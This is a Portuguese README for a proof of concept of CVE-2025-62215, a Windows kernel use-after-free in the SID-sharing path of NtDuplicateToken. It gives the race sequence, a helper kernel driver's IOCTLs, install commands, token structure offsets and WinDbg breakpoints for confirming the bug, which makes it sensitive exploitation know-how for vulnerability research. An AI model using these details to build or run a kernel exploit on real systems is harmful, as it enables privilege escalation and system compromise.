
Exploit de prova de conceito para CVE-2025-62215, uma vulnerabilidade de Use-After-Free no kernel do Windows em SepTokenSidSharingEnabled. Inclui um driver de kernel e um exploit em modo de usuário para análise de condição de corrida.
Uma PoC de vulnerabilidade Use-After-Free que ocorre no caminho de otimização SepTokenSidSharingEnabled do kernel do Windows.
NtDuplicateToken incrementa o RefCount do Bloco de Valores SID de 1→2,
uma thread do kernel concorrente libera o bloco via ExFreePoolWithTag.SepDereferenceSidValuesBlock acessa o bloco liberado → UAF / Double Free.[User] IOCTL_REPLACE_SID_BLOCK → Coloca um bloco independente (RefCount=1) em TOKEN+0x468
[User] IOCTL_TRIGGER_FREE → Cria thread do kernel (poll até RefCount==2)
[User] NtDuplicateToken → Internamente incrementa RefCount 1→2
[Kernel Thread] RefCount==2 detectado → ExFreePoolWithTag(pBlock) ← ponto UAF
| Caminho | Descrição |
|---|---|
exploit/exploitWithDriv/exploitWithDriv.cpp | Exploit em modo usuário (aplicativo console) |
tokendriv/tokendrv/tokendrv/tokendrv.cpp | Driver de kernel (fornece interface IOCTL) |
tokendriv.sys — Driver de Kerneltokendriv/tokendrv/tokendrv.slnxtokendriv/tokendrv/x64/Release/tokendrv.sys.sys para a VMApós instalar o WDK, verifique: Propriedades do Projeto → Driver Settings → Target OS Version
exploitWithDriv.exe — Exploit em Modo Usuárioexploit/exploitWithDriv.slnxexploit/x64/Release/exploitWithDriv.exeSepTokenSidSharingEnabled)test / 1234 (conta local, sem direitos de administrador requeridos)sc create tokendriv type= kernel binpath= "C:\caminho\para\tokendrv.sys"
sc start tokendriv
Verifique se o driver está em execução:
sc query tokendriv
O status deve ser RUNNING.
exploitWithDriv.exe
Fluxo de execução:
FullNumberOfPhysicalPages (deve ser ≤ 0x83400)LogonUser("test", ".", "1234") → obtém hSourceREPLACE → TRIGGER → NtDuplicateToken → Sleep(1)0: kd> !process 0 0 exploitWithDriv.exe
Exemplo de saída:
PROCESS ffffa88f5e61e080
SessionId: 1 Cid: 1234 Peb: ... ParentCid: ...
Image: exploitWithDriv.exe
ffffa88f5e61e080 é o endereço EPROCESS.
Os endereços abaixo podem variar conforme o ambiente — confirme com os símbolos reais do kernel.
A. Incremento do RefCount do Bloco SID (início da janela de corrida)
0: kd> bp fffff800`725c6114 ".if (@$proc == 0xffffa88f5e61e080) { .echo A_REFCNT_INCR; dq poi(@rsi+0x468)+8 L1; gc } .else { gc }"
TOKEN+0x4681 → 2 é a janela de corridaB. Ponto de Leitura UAF
0: kd> bp fffff800`726f51fb ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_READ; r rax,rdx; gc } .else { gc }"
rax, rdxC. Ponto de Escrita UAF
0: kd> bp fffff800`726f5208 ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_WRITE; r rcx,rdx,rax; gc } .else { gc }"
rcx, rdx, rax para corrupçãoEntrada NtDuplicateToken
└─ SeTokenCanImpersonate
└─ SID Block RefCount: 1 → 2 ← bp A (A_REFCNT_INCR)
← thread do kernel: ExFreePoolWithTag(pBlock)
└─ SepDereferenceSidValuesBlock
└─ dereference pBlock (leitura) ← bp B (REAL_UAF_READ)
└─ dereference pBlock (escrita) ← bp C (REAL_UAF_WRITE)
2 imediatamente após A_REFCNT_INCR ser impresso, a janela de corrida foi atingida com sucessoREAL_UAF_READ / REAL_UAF_WRITE aparecerem, UAF real é confirmado'kcoB': !pool <addr> ou !poolused| Estrutura | Offset | Campo |
|---|---|---|
_TOKEN | +0x468 | SepSidValues (ponteiro para Bloco de Valores SID) |
| Bloco de Valores SID | +0x000 | Length (ULONG) |
| Bloco de Valores SID | +0x008 | ReferenceCount (LONGLONG) |
sc stop tokendriv
sc delete tokendriv